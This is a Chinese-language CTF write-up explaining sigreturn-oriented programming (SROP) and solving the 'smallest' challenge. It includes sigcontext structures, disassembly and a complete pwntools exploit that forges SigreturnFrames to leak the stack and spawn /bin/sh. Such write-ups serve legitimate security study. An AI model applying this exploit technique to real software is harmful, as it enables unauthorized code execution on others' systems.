Srop

SROP

signal机制

基本流程就是当有中断或者异常产生时,内核会向某个进程发送一个signal,该进程挂起进入内核,内核为其保存上下文,然后在signal handle中进行处理哦,退出后内核依据之前保存的上下文恢复进程原来的状态

这里有几个比较重要的地方

  • 进程的上下文保存的结构叫signal frame,保存在用户的地址空间中,用户具有读写的权限

  • signal frame中主要保存寄存器的状态和值,栈上的局部变量和函数调用信息,结构体如下

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    
    // x86
    struct sigcontext
    {
      unsigned short gs, __gsh;
      unsigned short fs, __fsh;
      unsigned short es, __esh;
      unsigned short ds, __dsh;
      unsigned long edi;
      unsigned long esi;
      unsigned long ebp;
      unsigned long esp;
      unsigned long ebx;
      unsigned long edx;
      unsigned long ecx;
      unsigned long eax;
      unsigned long trapno;
      unsigned long err;
      unsigned long eip;
      unsigned short cs, __csh;
      unsigned long eflags;
      unsigned long esp_at_signal;
      unsigned short ss, __ssh;
      struct _fpstate * fpstate;
      unsigned long oldmask;
      unsigned long cr2;
    };
    
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    
    // x64
    struct _fpstate
    {
      /* FPU environment matching the 64-bit FXSAVE layout.  */
      __uint16_t        cwd;
      __uint16_t        swd;
      __uint16_t        ftw;
      __uint16_t        fop;
      __uint64_t        rip;
      __uint64_t        rdp;
      __uint32_t        mxcsr;
      __uint32_t        mxcr_mask;
      struct _fpxreg    _st[8];
      struct _xmmreg    _xmm[16];
      __uint32_t        padding[24];
    };
    
    struct sigcontext
    {
      __uint64_t r8;
      __uint64_t r9;
      __uint64_t r10;
      __uint64_t r11;
      __uint64_t r12;
      __uint64_t r13;
      __uint64_t r14;
      __uint64_t r15;
      __uint64_t rdi;
      __uint64_t rsi;
      __uint64_t rbp;
      __uint64_t rbx;
      __uint64_t rdx;
      __uint64_t rax;
      __uint64_t rcx;
      __uint64_t rsp;
      __uint64_t rip;
      __uint64_t eflags;
      unsigned short cs;
      unsigned short gs;
      unsigned short fs;
      unsigned short __pad0;
      __uint64_t err;
      __uint64_t trapno;
      __uint64_t oldmask;
      __uint64_t cr2;
      __extension__ union
        {
          struct _fpstate * fpstate;
          __uint64_t __fpstate_word;
        };
      __uint64_t __reserved1 [8];
    };
    

假设可以控制一个signal frame那么就可以随意控制寄存器的值,从而执行任意命令

最终就是要调用execve("/bin/sh", 0, 0)

在64位下要求rax=59,rdi=/bin/sh,rsi=0,rdx=0

smallest

检查

反汇编

1
2
3
4
5
6
.text:00000000004000B0                 xor     rax, rax        ; rax = 0
.text:00000000004000B3                 mov     edx, 400h       ; count
.text:00000000004000B8                 mov     rsi, rsp        ; buf
.text:00000000004000BB                 mov     rdi, rax        ; fd
.text:00000000004000BE                 syscall                 ; LINUX - sys_read
.text:00000000004000C0                 retn

程序是64位的,rax置0进行syscall调用的是read,对应的三个参数通过寄存器传递

1
2
ssize_t read(int fd, void *buf, size_t count);
read(0, buf, 0x400);

read往栈顶读取地址作为返回值,同时栈顶的地址取决于外界的输入,因此可以多输几次入口地址多次进行系统调用

控制程序流程

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
context.terminal = ["tmux", "splitw", "-v"]

io = process("./smallest")

def dbg():
    gdb.attach(io, 'b *0x4000be; continue')   # 下断点
    pause()

start_addr = 0x4000b0
syscall_addr = 0x4000be

dbg()
payload = p64(start_addr) * 4
io.send(payload)
dbg()  # 查看栈数据

gdb.attach(io, 'b *0x4000be; continue')中需要下断点的原因

库函数本质上是对系统调用的多层封装,库函数的实现本身就调用了其它很多函数进行中断等待输入;在反汇编的代码中只有syscall,直接使用syscall 进行系统调用时,程序会进入内核态,执行系统调用。这个过程通常是同步的,不涉及中断。

write(1, buf,0x400)泄露栈地址

sigreturnFrame写入栈

触发sigreturn调用read(0,leak_stack_addr,0x400),再把execve的sigreturn写入栈

再次输入15字节getshell

整体流程

read(0,buf,0x400) –> write(1,buf,0x400) –> sigreturn –> read(0,leak_stack_addr,0x400) –> sigreturn –> execve("/bin/sh",0,0)

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
context.terminal = ["tmux", "splitw", "-v"]

io = process("./smallest")

start_addr = 0x4000b0
syscall_addr = 0x4000be

payload = p64(start_addr) * 3
io.send(payload)
io.send('\xb3')  # 0x4000b3 mov edx,0x400 => rax = 1 => write(1,buf,0x400)
leak_stack_addr = u64(io.recv()[8:16])
success(f"leak_stack_addr:{hex(leak_stack_addr)}")

# 返回到syscall_addr调用read(0,buf,0x400)
read = SigreturnFrame()
read.rax = constants.SYS_read  # 0
read.rdi = 0
read.rsi = leak_stack_addr
read.rdx = 0x400
read.rsp = leak_stack_addr
read.rip = syscall_addr
payload = p64(start_addr) + p64(syscall_addr) + bytes(read)
io.send(payload)

# 15 bytes => rax = 15 => sigreturn
payload = p64(syscall_addr) + b'a' * 0x7
io.send(payload)

# 返回到syscall_addr调用execve("/bin/sh",0,0)
execve = SigreturnFrame()
execve.rax = constants.SYS_execve  # 59
execve.rdi = leak_stack_addr + 0x108 # /bin/sh的偏移
execve.rsi = 0x0
execve.rdx = 0x0
execve.rsp = leak_stack_addr
execve.rip = syscall_addr
payload = p64(start_addr) + p64(syscall_addr) + bytes(execve)

print(len(payload))
payload += b'/bin/sh\x00'  # /bin/sh写入栈
io.send(payload)

# 15 bytes => rax = 15 => sigreturn
payload = p64(syscall_addr) + b'a' * 0x7
io.send(payload)
io.interactive()

参考

SROP基本原理 | Ephemeral1yのBlog | CTF学习笔记 (ephemerally.top)

SROP - CTF Wiki (ctf-wiki.org)

使用 Hugo 构建
主题 StackJimmy 设计